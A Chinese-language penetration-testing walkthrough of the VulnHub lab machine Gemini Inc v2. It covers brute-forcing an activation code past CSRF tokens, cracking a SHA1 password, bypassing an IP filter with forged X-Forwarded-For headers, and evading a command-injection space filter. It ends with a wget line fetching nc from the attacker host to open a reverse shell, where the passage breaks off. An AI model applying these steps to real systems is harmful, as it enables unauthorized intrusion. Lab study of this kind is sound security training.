靶机介绍

1)靶机地址:https://download.vulnhub.com/geminiinc/Gemini-Pentest-v2.zip

2)靶机难度:中

3)打靶目标: 取得 root 权限 + 2Flag

4)涉及攻击方法:主机发现、端口扫描、信息收集、隐藏路径爬取、开放注册、验证码爆破、Anti CSRF Token、密码破解、WAF Bypass、命令注入绕过、SSH公钥认证、Redis漏洞利用、本地提权

5)靶机简介:本周的打靶过程可谓一波五折,每个攻击的环节都有障碍需要绕过,非常接近真实场景。首先需要爆破验证码,但是却发现有Anti CSRF Token捣乱,必须精细处理才能进入后台。接下来要足够细心,通过信息收集发现管理员帐号密码的密文,然后爆破出应用管理员密码。如果你以为有了管理员密码就可以顺利突破边界,那么不好意思,这里还有WAF需要绕过,否则连后台页面都看不到。利用自动实现WAF绕过的BP插件。终于见到了管理后台的功能页面,原以为是个简单的命令执行,结果却发现这里还有黑名单过滤。无奈再次想办法绕过,这才终于突破了边界,拿到低权限帐号。好在接下来的提权过程还算规范,我们将利用Redis权限配置漏洞,最终拿到Root权限和Flag。

6)注释:需要将本次靶机下载后,导入到vmwar workstation运行虚拟机

打靶过程

1)主机发现

# arp-scan -l# arp-scan --interface eth1 172.24.10.0/24

2)全端口扫描

# nmap -p- 172.24.10.135

3)服务版本扫描、操作系统版本扫描

# nmap -p22,80 -A 172.24.10.135

4)web页面信息搜集:查看源代码,发现每次刷新页面都会生成一个token值,且使用上次打靶信息搜集得到的默认用户名admin和密码1234无法登录成功

5)对web系统进行路径爬取

# dirb http://172.24.10.135/ -r

依次点击上述扫描到的目录,均未发现有用信息。可猜测网站是用PHP开发,数据库为mysql

6)对以php后缀文件进行爬取

# dirb http://172.24.10.135/ -r -X .php

①通过上述搜索发现了一个激活页面activate.php:通过SQL注入无法成功注入

②注册页面:可以进行账号注册

③点击注册按钮后,会返回如下信息:即显示注册失败

④再次输入用户名、密码、邮箱进行注册时,会返回邮箱已经被用,说明注册信息有效

⑤通过注册的用户名和密码进行登录:登录成功后,显示账号未正常激活。结合activate.php,说明此处需要激活

⑥账号激活,根据activate.php的表单信息,需要输入用户id和6位数字的激活码:点击当前用户的my profile可查看到用户ID

7)通过burp的intruder模块进行包破解

①抓取数据包:在数据包中有一个token字段,每次activate.php页面进行不同数据的提交,touken值都不一样。说明服务端使用了安全CSRF的方法。所以要想进行数据爆破,则每次数据提交时的token都应该有所不同

②通过在HTTP history中查找发现,每次进行数据提交时,都会包含一个token,同时本次服务器的数据响应中,也会包含一个token。下次客户端请求数据包中的token数据,就是上次服务器响应数据包中返回的token

③将数据包发送至inturder模式,选择注入点位激活码和token.同时选择攻击类型为Pitchfork(即第一个字典的第n个数值和第二个字典的第n个数值一一匹配,每次成对提交两个数据字典中的内容)

④选择第一个payload类型为number,且范围为000000-999999,数字长度为6位

⑤从当前页面,提取token值,作为第二个字典的数据。在Options选项中定义提取token值的位置:先在Grep-Extract中点击add,然后refetch response获取到当前请求数据的响应数据包,在响应数据包中选中token。选中后,burp就会自动选择token字段的的前后位置字符进行匹配。

⑥选择第二个payload类型为Recursive grep,在payload options选项中选择上一步添加的token匹配规则

⑦选择数据线程为1

⑧发现当激活码为000511时,返回状态码返回了状态码为302

⑨此时返回web页面,可发现User list中已经显示了相关信息

8)登录后台,通过修改当前用户得配置,检测是否还存在XSS漏洞,发现输入得js代码原样得输出到了页面上,而没有显示弹出,说明xss漏洞已修复

alert(123)

9)通过查看该系统的其他用户信息,发现用户Gemini的Rank是Administrator,其他用户的Rank是Member

①同时查看当前用户信息页面的源代码,发现存在一行password字段,根据字段字符类型,可初步判断是sha1算法进行加密

②为了验证,该加密算法类型,返回到自己创建的admin用户的用户信息页面,也发现了一段加密的password字符

③通过测试发现,注册账号时使用的密码1234通过sha1加密算法加密后的密文就是上述字符,所以可以得出结论,该密码是通过sha1算法加密

# echo -n  "1234"|sha1sum

⑤解出管理员账号Gemini对应的password字段的明文为:secretpassword

链接:https://md5hashing.net/hash/sha1

10)通过管理员账号Gemini和密码secretpassword登录后台:登陆后发现了两个功能选项,但是点击时却无法正常访问

①通过burp抓取,点击General Settings功能时的请求,发现返回的状态码为403,提示IP NOT ALLOWED,猜测请求可能被拦截

②安装Bupass WAF插件

③勾选,启动bupass waf插件,默认配置不需要修改

④在Project options–>Session–>session Handling Rules中添加一个规则:所有基于burp发出的请求中,都会被自动插入x-forwarded-for类似的字段

⑤并且在Scope中,选择所有的范围

⑥在Target选项中,对当前靶机的地址添加scope

⑦完成上述操作后,当前目标靶机的url地址就会被自动加入到scope中

11)之后通过点击web系统的功能,就不再被拦截,而是成功返回

在Generate Setting并发现任何有价值信息

12)查看Execute Command选项,输入命令后,发现可以正常执行命令,但是没有任何的回显

13)当输入ls -l命令时发现出错了,命令没有正常执行

检查发现,对输入的字符进行了过滤,输入空格后会进行过滤,抓包后,将空格通过%09进行替换,转发数据包后,成功支持(%09就tab输入的字符)。说明此处空格字符被过滤

14)反弹shell

①kali主机通过python3模块,启动http服务

# which nc# cd /usr/bin/# python3 -m http.server 80

②在web系统执行命令,下载nc命令至目标靶机

wget http://172.24.10.131/nc -O /tmp/nc

②执行反弹shell